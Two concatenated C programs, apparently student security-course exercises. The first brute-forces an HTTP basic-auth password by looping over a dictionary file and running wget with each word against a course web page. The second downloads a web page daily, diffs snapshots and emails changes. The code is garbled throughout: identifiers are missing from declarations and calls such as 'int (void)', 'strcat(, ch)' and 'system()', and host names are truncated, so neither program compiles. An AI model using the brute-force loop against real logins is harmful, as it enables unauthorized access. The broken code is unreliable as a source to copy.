#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>

char *bruteforce(int *attempts);


int (void){

   int i, counter;
   int Timetaken;
   int initTime = 0, exitTime = 0;
   initTime = time();
   bruteforce(&counter);
   exitTime = time();
   Timetaken = exitTime - initTime;
   printf("\nTime taken is %lld millisecond\n", (Timetaken)/());
   printf("\nNumber of attempts  is... %d", counter);
   return 0;
}


char *bruteforce(int *attempts){     
  
   FILE *fp;
   char ch[100];
	*attempts=0;

   fp = fopen("/usr/share/lib/dict/words", "r");
   if (fp == NULL) {
      printf("file  not  open");
   }
   while (fgets(ch, 100, fp) != NULL){
	
		(*attempts)++;

      int  j = 0;
      while (j <= 100){

         if (ch[j] == '\n') {
            ch[j] = '\0';
            break;
         }
         j = j + 1;
       }
		 
       char  [100] = "wget  --http-user= --http-passwd=";
       strcat(, ch);
       strcat(, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");
       printf("%s\n", );
       if (system() == 0){
          printf("Password cracked successfully: ");
          printf("Password is %s", ch);
          return NULL;
       }
   }
  
   fclose(fp);
}

#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>

int ()
{
  FILE *fp; 
  char *chk,[4];
  int i=1;
  while (i == 1) 
  {
  
  system("wget -p --convert-links http://www.cs.rmit.edu./students/");

  system("mkdir first"); 
  system("mkdir second"); 

  
  system("mv www.cs.rmit.edu./images/*.*  first/");
  system("mv www.cs.rmit.edu./students/*.* first/");

  sleep(86400); 

  
  system("wget -p --convert-links http://www.cs.rmit.edu./students/");

  
  system("mv www.cs.rmit.edu./images/*.* second/");
  system("mv www.cs.rmit.edu./students/*.* second/");

  
  
  system("diff first second > imagesdifference.txt");

  
  fp = fopen("imagesdifference.txt","r");
  
  chk = fgets(, 4, fp);
  
  if (strlen() != 0)
     system("mailx -s  \"Difference from WatchDog\"  < imagesdifference.txt");
  }
  return 0;
}
